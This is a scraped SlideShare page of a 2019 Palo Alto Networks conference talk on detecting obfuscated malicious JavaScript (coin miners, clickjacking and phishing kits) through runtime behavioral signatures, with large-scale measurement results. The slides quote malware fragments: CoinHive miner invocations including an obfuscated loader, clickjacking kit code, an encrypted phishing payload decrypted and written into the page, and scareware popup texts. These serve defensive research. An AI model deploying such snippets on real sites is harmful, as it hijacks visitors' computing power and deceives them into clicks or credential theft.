SlideShare a Scribd company logo
Detecting malicious campaigns in
obfuscated JavaScript with scalable
behavioral analysis
Oleksii Starov, Yuchen Zhou, Jun Wang
Palo Alto Networks, Inc.
Malicious JavaScript Detection in Previous Research & Industry
Approaches Static Analysis Dynamic Analysis
Signature Matching
ML/DL Models
2 | WTMC 2019
Ø We propose “behavioral” runtime signatures:
ü Based on lightweight in-browser execution, and thus effectively scalable
ü Capable to detect variations of packed/obfuscated malware
ü Capable to detect modern malicious campaigns
???
3 | WTMC 2019
GLOBAL VARIABLES
Studied Types of Behavioral Signatures
Non-HTTP
Traffic
WEBSOCKET
CONNECTIONS AND
MESSAGES
Rendered
Visible Text
JAVASCRIPT
ALERTS AND
POPUPS
Runtime Code
Representation
Example: In-browser Cryptographic Coin Miners
<script>
var miner =
new CoinHive.User(’SITE_KEY’, ’john-doe’);
miner.start();
var miner =
new CRLT.Anonymous(’PUBLIC_KEY’, {threads:2});
miner.start();
…
</script>
4 | WTMC 2019
Adless,
BatMine,
CoinBlind,
CoinHave,
CoinImp,
CoinNebula,
Coinhive,
Crypto-Loot,
CryptoNoter,
DeepMiner,
Grindcash,
JSE-Coin,
JsMiner,
Mineralt,
Minr,
Monerise,
NFWebMiner,
NeroHut,
Papoto,
ProjectPoi,
WebXMR
Webmine,
Webminerpool
Global Variable Signatures: Detecting Obfuscated Miners
(function(){
var _0xdf51=["x70x61x72x61x6Dx73","x5Fx73x69x74x65x4Bx65x79",
"x5Fx75x73x65x72","x5Fx74x68x72x65x61x64x73","x5Fx68x61x73x68x65x73","
x5Fx63x75x72x72x65x6Ex74x4Ax6Fx62","x5Fx61x75x74x6Fx52x65x63x6Fx6Ex6
Ex65x63x74",
...
MINER_URL:_0xdf51[207],AUTH_URL:_0xdf51[208]};CoinHive[_0xdf51[104]]=
CoinHive.Res(_0xdf51[209]);var user=window[_0xdf51[211]][_0xdf51[210]]||
_0xdf51[212],miner= new
CoinHive.User(_0xdf51[213],user,{throttle:0.3});miner[_0xdf51[89]]()||
miner[_0xdf51[53]]()
})();
5 | WTMC 2019
Still “CoinHive” and “miner” variables (with clear semantics) during runtime!
Example: Clickjacking Kit
jQuery(document).ready(function() {
$("#clickjack-button-wrapper-5")
.parent().mousemove(function(e) {
jQuery("#clickjack-button-wrapper-5").css({
top: e.pageY - 10,
left: e.pageX + 30
});
});
clickjack_hider();
var clickjack_fb_timer =
setTimeout("clickjack_hider()", 5000);
});
function clickjack_hider() {
jQuery("input").mouseout(function() {
ClickJackFbShow();
});
jQuery("a").mouseout(function() {
ClickJackFbShow();
});
jQuery("button").mouseout(function() {
ClickJackFbShow();
});
jQuery("textarea").mouseout(function() {
ClickJackFbShow();
});
jQuery(".ratingblock").mouseout(function() {
ClickJackFbShow();
});
jQuery("object").mouseout(function() {
ClickJackFbShow();
});
jQuery("input").mouseover(function() {
ClickJackFbHide();
});
jQuery("a").mouseover(function() {
ClickJackFbHide();
});
jQuery("button").mouseover(function() {
ClickJackFbHide();
});
jQuery("textarea").mouseover(function() {
ClickJackFbHide();
});
jQuery(".ratingblock").mouseover(function() {
ClickJackFbHide();
});
jQuery("object").mouseover(function() {
ClickJackFbHide();
});
}
…
ü clickjack_hider
ü ClickJackFbShow
ü ClickJackFbHide
6 | WTMC 2019
Example: Phishing Kit
7 | WTMC 2019
var hea2p =
('0123456789ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz');
var hea2t =
'UQIqIxFiqFvTwP5ovMqrc9ml0GHxUqsv0qWaSdrXOFJw3VOAJf1gvPk+QBh7Vp+Mw6Z6uS+kTPYikXQcCQtwsrY9Q4bxTlp19uQHk6poa1mGy8/1uCIrMarTmM01aa0CR7yOoa3nPkG1wmorbr14ETB+pWCWfV737Wr03qjYFQmxrhe7k7+
EbDDZtW+OdbGci6S2Uqmg82YjE9gUghxTNrbNMjEzrq1j5vydyNeqSNLjTQQZb/MnqtiD8/s2Vh2qRh1Ir+mv52snvK4JavqPy2f+xbcPxZ+x+dbGCP4fXwRYgimcrrevwRyCgDJf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0UZS+nIGpc7UgjP1oOrRRTWne+so1j55dTzvE9jABmqg
GxOB6PGs=';
var output = Aes.Ctr.decrypt(hea2t, hea2p, 256);
document.write(output)
Websocket Signatures: Detecting Unauthorized Miners
Stratum Protocol Messages
Request:
{ "type": "submit",
"params": {
"version": 7,
"job_id": "871932594873942",
"nonce": "8a462f80",
"result": "7516e7...de4df27f300"
}
}
Response:
{ "type": "hash_accepted",
"params": {
"hashes": 256
}
}
8 | WTMC 2019
Obfuscated CoinImp Messages
Request:
suu9sLms6/PruryrpKC96+Xruai7qKS66/Oy66e
mp6qs6/Prqvqqr//+//jr5eu7rLq8pb3r8+us//
itqP2v8f//+6+tqKj5q/n7qPz48PuvqP//qK/++
Pz8+PD9+6z8+6r8/qqv8f6o/qiv8fzx/f//+v77
+fn56+Xro6arlqCt6/Pr+v/5+v/x/vD4+P7/+fn
/67S0
Response:
suu9sLms6/Pp66Omq+vl6eu5qLuopLrr8+my66u
lpqvr8+nr+fD58Kr68Pzw/6z5+fzx8Pr4/KusqP
H6+Kr4rKj6+aiqq63xqPiorPv8qPqo8P77qP///
K36qv7x/auqr/DxqPv68PD9+aut+a+s8fGv+fn5
+fn5+fn9qq2s/fuqr/2orf+r8az4//+sraiqqv7
88Putq/D7/vn/qqz8+quorfz7qPGo+fHxr/Go/P
v4raj7/Kiv8az/+fvr5enro6arlqCt6/Pp6/r/+
fr/8f7w+Pj+//n5/+vl6eu9qLuurL3r8+nr+a3+
/a2o+fnr5enrvqCt6/Pp+Pu0tA==
(despite the several layers of obfuscation)
JavaScript Popups and Alerts (and related API calls)
9 | WTMC 2019
• “WARNING! Your official Adobe
Flash Player version is out of
date. Please install latest software
update to continue. Please click
"Update" to continue.”
• "IMMEDIATELY CALL APPLE
CARE"
• "Congratulations Amazon user!"
• "Microsoft Excel, Click "OK"
below to view your file online
instead"
Inercepted APIs:
window.alert, window.prompt, window.confirm,
window.onbeforeunload
Data Collection
& Results
Production Pipeline & Data Collection
We measure how behavioral signatures can improve a state-of-the-art
commercial URL categorization service
• Crawling data
• Daily feed of "unknown" URLs visited by Palo Alto Networks customers (i.e. more than
10M URLs per day)
• Reporting results for November 2018
• Crawling infrastructure
• Existing security scanner based on Headless Chrome Browser
• Added with collecting global variables, intercepting JavaScript alerts, and recording
WebSocket handshakes/messages
• 250 unique signatures for detection
• Collected semi-automatically by retrieving dynamic artifacts from VirusTotal URLs
• Attributing 23 coin-mining libraries
11 | WTMC 2019
RESULT HIGHLIGTS
Overall detection results
• 9,104 coin-mining scripts over 8,712 distinct URLs
• 4,788 other malicious JavaScripts over 4,633 distinct URLs
Real user impact (if blocked)
• Over 1M requests towards coin-mining websites
• Over 243K towards scams/scareware/phishing pages
12 | WTMC 2019
Intrusive Coin Miners
Daily Detection Rate of Coin-mining URLs
14 | WTMC 2019
• 1,097 coin-mining URLs on
average per day
• Only 180 previously
unseen URLs daily!
• 69.1% of detected URLs
perform “unauthorized”
successful coin mining
• 1,414 out of 4,264
Coinhive scripts were
obfuscated and undetected
by static matching
Top Coin Miners Observed during Study
15 | WTMC 2019
Unauthorized mining:
• CoinImp (100% / 612 JS)
• Crypto-Loot (86% / 906 JS)
• Coinhive (77.7% / 3,312 JS)
• Unidentified Stratum
Malicious Operators Rotate or Even Use Several Miners
16 | WTMC 2019
9,104 script detected over 8,712 URLs!
Non-mining
Malicious JavaScript
Daily Detection Rate of Coin-mining URLs
18 | WTMC 2019
• 184 malicious URLs per
day, including 143 URLs
unseen previously
• URLs hosting non-mining
JS malware are less likely
to be observed for many
days in a row!
Top Recently Observed Non-Mining Malicious JavaScripts
19 | WTMC 2019
Our signatures capture many scam-related scripts!
Analysis of
Malicious Domains
Using Passive DNS to Measure Popularity & Lifetime
21 | WTMC 2019
• 8,712 detected coin-mining URLs
resolve to 7,654 distinct domains
• 4,633 URLs with other malicious
scripts resolve to 2,666 domains
• Two visual clusters:
• Coin-mining domains receive tens
of millions DNS resolutions and
can live for more than 4 year
• Non-mining malicious domains are
usually alive for less than 100 days
and receive less than 10K DNS
resolutions
seriesfree.to vs. win32-0x2ndt-firewall-error.gq
Popularity Analysis Using Alexa rankings
22 | WTMC 2019
• 66.9% of coin-mining
domains were observed in
Alexa’s top 1M
• 16,9% remained in the top
1M during the whole month
• 37 domains in the first 10K
• 932 mining immediately
• In contrast, only 71 from non-
mining malicious JavaScript
domains were found in
Alexa’s top 1M
Analysis of TLDs among Detected Malicious Websites
Coin-mining websites Non-mining websites
TLD # Domains # Domains # Domains
com 3,487 icu 1,299
ir 394 com 409
net 337 club 290
ru 319 xyz 83
org 285 tk 71
23 | WTMC 2019
• In November 2018, the .icu TLD
was abused the most to distribute
different kinds of scam
• Coin-miners tend to reside on
generally more expensive (and
reputable) .com, which matches
our previous findings
Country origin of IPs serving malicious JavaScript
24 | WTMC 2019
Coin miners Other malicious JS
Coin-mining websites cover more countries!
CONCLUSION & FURTURE WORK
• We presented several examples of lightweight dynamic techniques to detect
obfuscated malicious JavaScript using behavioral signatures
• On a large scale and detecting modern malicious campaigns
• Extending and generalizing the method:
• More “runtime-code-representation” signatures (such as, types and values of
variables, local variables, custom implementation of alerts, eval code, etc.)
• Automated retrieval of behavioral signature (using clustering and benign scores)
• Using behavioral signatures as features for ML detection models
• Using behavioral signatures for attribution of malicious campaigns
25 | WTMC 2019
THANK YOU!
QA?
Email: ostarov@paloaltonetworks.com l Twitter: @o_starov

More Related Content

PDF
The slower the stronger a story of password hash migration
PDF
Javascript Object Signing & Encryption
PDF
FwDays 2021: Metarhia Technology Stack for Node.js
PPT
Security's Once and Future King
PDF
Banking on a Blockchain
PDF
Insight User Conference Bootcamp - Use the Engagement Tracking and Metrics A...
PDF
OWASP Top 10 - DrupalCon Amsterdam 2019
PPTX
From on premises monolith to cloud microservices
The slower the stronger a story of password hash migration
Javascript Object Signing & Encryption
FwDays 2021: Metarhia Technology Stack for Node.js
Security's Once and Future King
Banking on a Blockchain
Insight User Conference Bootcamp - Use the Engagement Tracking and Metrics A...
OWASP Top 10 - DrupalCon Amsterdam 2019
From on premises monolith to cloud microservices

Similar to [WTMC 2019] Detecting malicious campaigns in obfuscated JavaScript with scalable behavioral analysis (20)

PDF
Compromised e commerce_sites_lead_to_web-based_keyloggers
PPTX
Introduction to WSO2 Data Analytics Platform
PPTX
Security in NodeJS applications
PDF
CIS 2015- NAPPS within Public Safety- Adam Lewis
PDF
Instrumenting and Scaling Databases with Envoy
PDF
Liquid Stream Processing Across Web Browsers and Web Servers
PDF
Large scale data capture and experimentation platform at Grab
PDF
Single sign-on
PDF
Putting microservices on a diet with istio
PDF
EDA Meets Data Engineering – What's the Big Deal?
PDF
iMasters Intercon 2016 - Identity within Microservices
PDF
InterCon 2016 - Segurança de identidade digital levando em consideração uma a...
PDF
Www usenix-org
PDF
Putting Microservices on a Diet: with Istio!
PDF
Slicing Apples with Ninja Sword: Fighting Malware at the Corporate Level (OWA...
PDF
Spark Summit Europe 2017 - Applying multiple ML pipelines to heterogenous dat...
PDF
Automated Apache Kafka Mocking and Testing with AsyncAPI | Hugo Guerrero, Red...
PDF
Stream Processing with Apache Kafka and .NET
PDF
Romulus OWASP
PDF
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Compromised e commerce_sites_lead_to_web-based_keyloggers
Introduction to WSO2 Data Analytics Platform
Security in NodeJS applications
CIS 2015- NAPPS within Public Safety- Adam Lewis
Instrumenting and Scaling Databases with Envoy
Liquid Stream Processing Across Web Browsers and Web Servers
Large scale data capture and experimentation platform at Grab
Single sign-on
Putting microservices on a diet with istio
EDA Meets Data Engineering – What's the Big Deal?
iMasters Intercon 2016 - Identity within Microservices
InterCon 2016 - Segurança de identidade digital levando em consideração uma a...
Www usenix-org
Putting Microservices on a Diet: with Istio!
Slicing Apples with Ninja Sword: Fighting Malware at the Corporate Level (OWA...
Spark Summit Europe 2017 - Applying multiple ML pipelines to heterogenous dat...
Automated Apache Kafka Mocking and Testing with AsyncAPI | Hugo Guerrero, Red...
Stream Processing with Apache Kafka and .NET
Romulus OWASP
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Ad

Recently uploaded (20)

PPTX
famous lake in india and its disturibution and importance
PPTX
TOTAL hIP ARTHROPLASTY Presentation.pptx
PPTX
Taita Taveta Laboratory Technician Workshop Presentation.pptx
PDF
lecture 2026 of Sjogren's syndrome l .pdf
PPTX
ECG_Course_Presentation د.محمد صقران ppt
PDF
An interstellar mission to test astrophysical black holes
PPTX
cpcsea ppt.pptxssssssssssssssjjdjdndndddd
PDF
SEHH2274 Organic Chemistry Notes 1 Structure and Bonding.pdf
PPTX
DRUG THERAPY FOR SHOCK gjjjgfhhhhh.pptx.
PDF
. Radiology Case Scenariosssssssssssssss
PPTX
ognitive-behavioral therapy, mindfulness-based approaches, coping skills trai...
PDF
Biophysics 2.pdffffffffffffffffffffffffff
PDF
Placing the Near-Earth Object Impact Probability in Context
PPTX
2Systematics of Living Organisms t-.pptx
PPTX
EPIDURAL ANESTHESIA ANATOMY AND PHYSIOLOGY.pptx
PPTX
neck nodes and dissection types and lymph nodes levels
PDF
HPLC-PPT.docx high performance liquid chromatography
PPTX
2. Earth - The Living Planet Module 2ELS
PDF
ELS_Q1_Module-11_Formation-of-Rock-Layers_v2.pdf
PDF
VARICELLA VACCINATION: A POTENTIAL STRATEGY FOR PREVENTING MULTIPLE SCLEROSIS
famous lake in india and its disturibution and importance
TOTAL hIP ARTHROPLASTY Presentation.pptx
Taita Taveta Laboratory Technician Workshop Presentation.pptx
lecture 2026 of Sjogren's syndrome l .pdf
ECG_Course_Presentation د.محمد صقران ppt
An interstellar mission to test astrophysical black holes
cpcsea ppt.pptxssssssssssssssjjdjdndndddd
SEHH2274 Organic Chemistry Notes 1 Structure and Bonding.pdf
DRUG THERAPY FOR SHOCK gjjjgfhhhhh.pptx.
. Radiology Case Scenariosssssssssssssss
ognitive-behavioral therapy, mindfulness-based approaches, coping skills trai...
Biophysics 2.pdffffffffffffffffffffffffff
Placing the Near-Earth Object Impact Probability in Context
2Systematics of Living Organisms t-.pptx
EPIDURAL ANESTHESIA ANATOMY AND PHYSIOLOGY.pptx
neck nodes and dissection types and lymph nodes levels
HPLC-PPT.docx high performance liquid chromatography
2. Earth - The Living Planet Module 2ELS
ELS_Q1_Module-11_Formation-of-Rock-Layers_v2.pdf
VARICELLA VACCINATION: A POTENTIAL STRATEGY FOR PREVENTING MULTIPLE SCLEROSIS
Ad

[WTMC 2019] Detecting malicious campaigns in obfuscated JavaScript with scalable behavioral analysis

  • 1. Detecting malicious campaigns in obfuscated JavaScript with scalable behavioral analysis Oleksii Starov, Yuchen Zhou, Jun Wang Palo Alto Networks, Inc.
  • 2. Malicious JavaScript Detection in Previous Research & Industry Approaches Static Analysis Dynamic Analysis Signature Matching ML/DL Models 2 | WTMC 2019 Ø We propose “behavioral” runtime signatures: ü Based on lightweight in-browser execution, and thus effectively scalable ü Capable to detect variations of packed/obfuscated malware ü Capable to detect modern malicious campaigns ???
  • 3. 3 | WTMC 2019 GLOBAL VARIABLES Studied Types of Behavioral Signatures Non-HTTP Traffic WEBSOCKET CONNECTIONS AND MESSAGES Rendered Visible Text JAVASCRIPT ALERTS AND POPUPS Runtime Code Representation
  • 4. Example: In-browser Cryptographic Coin Miners <script> var miner = new CoinHive.User(’SITE_KEY’, ’john-doe’); miner.start(); var miner = new CRLT.Anonymous(’PUBLIC_KEY’, {threads:2}); miner.start(); … </script> 4 | WTMC 2019 Adless, BatMine, CoinBlind, CoinHave, CoinImp, CoinNebula, Coinhive, Crypto-Loot, CryptoNoter, DeepMiner, Grindcash, JSE-Coin, JsMiner, Mineralt, Minr, Monerise, NFWebMiner, NeroHut, Papoto, ProjectPoi, WebXMR Webmine, Webminerpool
  • 5. Global Variable Signatures: Detecting Obfuscated Miners (function(){ var _0xdf51=["x70x61x72x61x6Dx73","x5Fx73x69x74x65x4Bx65x79", "x5Fx75x73x65x72","x5Fx74x68x72x65x61x64x73","x5Fx68x61x73x68x65x73"," x5Fx63x75x72x72x65x6Ex74x4Ax6Fx62","x5Fx61x75x74x6Fx52x65x63x6Fx6Ex6 Ex65x63x74", ... MINER_URL:_0xdf51[207],AUTH_URL:_0xdf51[208]};CoinHive[_0xdf51[104]]= CoinHive.Res(_0xdf51[209]);var user=window[_0xdf51[211]][_0xdf51[210]]|| _0xdf51[212],miner= new CoinHive.User(_0xdf51[213],user,{throttle:0.3});miner[_0xdf51[89]]()|| miner[_0xdf51[53]]() })(); 5 | WTMC 2019 Still “CoinHive” and “miner” variables (with clear semantics) during runtime!
  • 6. Example: Clickjacking Kit jQuery(document).ready(function() { $("#clickjack-button-wrapper-5") .parent().mousemove(function(e) { jQuery("#clickjack-button-wrapper-5").css({ top: e.pageY - 10, left: e.pageX + 30 }); }); clickjack_hider(); var clickjack_fb_timer = setTimeout("clickjack_hider()", 5000); }); function clickjack_hider() { jQuery("input").mouseout(function() { ClickJackFbShow(); }); jQuery("a").mouseout(function() { ClickJackFbShow(); }); jQuery("button").mouseout(function() { ClickJackFbShow(); }); jQuery("textarea").mouseout(function() { ClickJackFbShow(); }); jQuery(".ratingblock").mouseout(function() { ClickJackFbShow(); }); jQuery("object").mouseout(function() { ClickJackFbShow(); }); jQuery("input").mouseover(function() { ClickJackFbHide(); }); jQuery("a").mouseover(function() { ClickJackFbHide(); }); jQuery("button").mouseover(function() { ClickJackFbHide(); }); jQuery("textarea").mouseover(function() { ClickJackFbHide(); }); jQuery(".ratingblock").mouseover(function() { ClickJackFbHide(); }); jQuery("object").mouseover(function() { ClickJackFbHide(); }); } … ü clickjack_hider ü ClickJackFbShow ü ClickJackFbHide 6 | WTMC 2019
  • 7. Example: Phishing Kit 7 | WTMC 2019 var hea2p = ('0123456789ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz'); var hea2t = 'UQIqIxFiqFvTwP5ovMqrc9ml0GHxUqsv0qWaSdrXOFJw3VOAJf1gvPk+QBh7Vp+Mw6Z6uS+kTPYikXQcCQtwsrY9Q4bxTlp19uQHk6poa1mGy8/1uCIrMarTmM01aa0CR7yOoa3nPkG1wmorbr14ETB+p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oIX6yV+ B8mrlJu2vvnwqIGehPBWSp4lEugZDZbONYAJ8LYtZ4gpA6CyXf0ZOKjkFrmeXhzJbffrdWfCEopX+SqorG0GsD0gEcRIOpupIBe1s8csW1EbpOcMBBi2YOsszLVtU9sqoLFvqME+0UZS+nIGpc7UgjP1oOrRRTWne+so1j55dTzvE9jABmqg GxOB6PGs='; var output = Aes.Ctr.decrypt(hea2t, hea2p, 256); document.write(output)
  • 8. Websocket Signatures: Detecting Unauthorized Miners Stratum Protocol Messages Request: { "type": "submit", "params": { "version": 7, "job_id": "871932594873942", "nonce": "8a462f80", "result": "7516e7...de4df27f300" } } Response: { "type": "hash_accepted", "params": { "hashes": 256 } } 8 | WTMC 2019 Obfuscated CoinImp Messages Request: suu9sLms6/PruryrpKC96+Xruai7qKS66/Oy66e mp6qs6/Prqvqqr//+//jr5eu7rLq8pb3r8+us// itqP2v8f//+6+tqKj5q/n7qPz48PuvqP//qK/++ Pz8+PD9+6z8+6r8/qqv8f6o/qiv8fzx/f//+v77 +fn56+Xro6arlqCt6/Pr+v/5+v/x/vD4+P7/+fn /67S0 Response: suu9sLms6/Pp66Omq+vl6eu5qLuopLrr8+my66u lpqvr8+nr+fD58Kr68Pzw/6z5+fzx8Pr4/KusqP H6+Kr4rKj6+aiqq63xqPiorPv8qPqo8P77qP/// K36qv7x/auqr/DxqPv68PD9+aut+a+s8fGv+fn5 +fn5+fn9qq2s/fuqr/2orf+r8az4//+sraiqqv7 88Putq/D7/vn/qqz8+quorfz7qPGo+fHxr/Go/P v4raj7/Kiv8az/+fvr5enro6arlqCt6/Pp6/r/+ fr/8f7w+Pj+//n5/+vl6eu9qLuurL3r8+nr+a3+ /a2o+fnr5enrvqCt6/Pp+Pu0tA== (despite the several layers of obfuscation)
  • 9. JavaScript Popups and Alerts (and related API calls) 9 | WTMC 2019 • “WARNING! Your official Adobe Flash Player version is out of date. Please install latest software update to continue. Please click "Update" to continue.” • "IMMEDIATELY CALL APPLE CARE" • "Congratulations Amazon user!" • "Microsoft Excel, Click "OK" below to view your file online instead" Inercepted APIs: window.alert, window.prompt, window.confirm, window.onbeforeunload
  • 11. Production Pipeline & Data Collection We measure how behavioral signatures can improve a state-of-the-art commercial URL categorization service • Crawling data • Daily feed of "unknown" URLs visited by Palo Alto Networks customers (i.e. more than 10M URLs per day) • Reporting results for November 2018 • Crawling infrastructure • Existing security scanner based on Headless Chrome Browser • Added with collecting global variables, intercepting JavaScript alerts, and recording WebSocket handshakes/messages • 250 unique signatures for detection • Collected semi-automatically by retrieving dynamic artifacts from VirusTotal URLs • Attributing 23 coin-mining libraries 11 | WTMC 2019
  • 12. RESULT HIGHLIGTS Overall detection results • 9,104 coin-mining scripts over 8,712 distinct URLs • 4,788 other malicious JavaScripts over 4,633 distinct URLs Real user impact (if blocked) • Over 1M requests towards coin-mining websites • Over 243K towards scams/scareware/phishing pages 12 | WTMC 2019
  • 14. Daily Detection Rate of Coin-mining URLs 14 | WTMC 2019 • 1,097 coin-mining URLs on average per day • Only 180 previously unseen URLs daily! • 69.1% of detected URLs perform “unauthorized” successful coin mining • 1,414 out of 4,264 Coinhive scripts were obfuscated and undetected by static matching
  • 15. Top Coin Miners Observed during Study 15 | WTMC 2019 Unauthorized mining: • CoinImp (100% / 612 JS) • Crypto-Loot (86% / 906 JS) • Coinhive (77.7% / 3,312 JS) • Unidentified Stratum
  • 16. Malicious Operators Rotate or Even Use Several Miners 16 | WTMC 2019 9,104 script detected over 8,712 URLs!
  • 18. Daily Detection Rate of Coin-mining URLs 18 | WTMC 2019 • 184 malicious URLs per day, including 143 URLs unseen previously • URLs hosting non-mining JS malware are less likely to be observed for many days in a row!
  • 19. Top Recently Observed Non-Mining Malicious JavaScripts 19 | WTMC 2019 Our signatures capture many scam-related scripts!
  • 21. Using Passive DNS to Measure Popularity & Lifetime 21 | WTMC 2019 • 8,712 detected coin-mining URLs resolve to 7,654 distinct domains • 4,633 URLs with other malicious scripts resolve to 2,666 domains • Two visual clusters: • Coin-mining domains receive tens of millions DNS resolutions and can live for more than 4 year • Non-mining malicious domains are usually alive for less than 100 days and receive less than 10K DNS resolutions seriesfree.to vs. win32-0x2ndt-firewall-error.gq
  • 22. Popularity Analysis Using Alexa rankings 22 | WTMC 2019 • 66.9% of coin-mining domains were observed in Alexa’s top 1M • 16,9% remained in the top 1M during the whole month • 37 domains in the first 10K • 932 mining immediately • In contrast, only 71 from non- mining malicious JavaScript domains were found in Alexa’s top 1M
  • 23. Analysis of TLDs among Detected Malicious Websites Coin-mining websites Non-mining websites TLD # Domains # Domains # Domains com 3,487 icu 1,299 ir 394 com 409 net 337 club 290 ru 319 xyz 83 org 285 tk 71 23 | WTMC 2019 • In November 2018, the .icu TLD was abused the most to distribute different kinds of scam • Coin-miners tend to reside on generally more expensive (and reputable) .com, which matches our previous findings
  • 24. Country origin of IPs serving malicious JavaScript 24 | WTMC 2019 Coin miners Other malicious JS Coin-mining websites cover more countries!
  • 25. CONCLUSION & FURTURE WORK • We presented several examples of lightweight dynamic techniques to detect obfuscated malicious JavaScript using behavioral signatures • On a large scale and detecting modern malicious campaigns • Extending and generalizing the method: • More “runtime-code-representation” signatures (such as, types and values of variables, local variables, custom implementation of alerts, eval code, etc.) • Automated retrieval of behavioral signature (using clustering and benign scores) • Using behavioral signatures as features for ML detection models • Using behavioral signatures for attribution of malicious campaigns 25 | WTMC 2019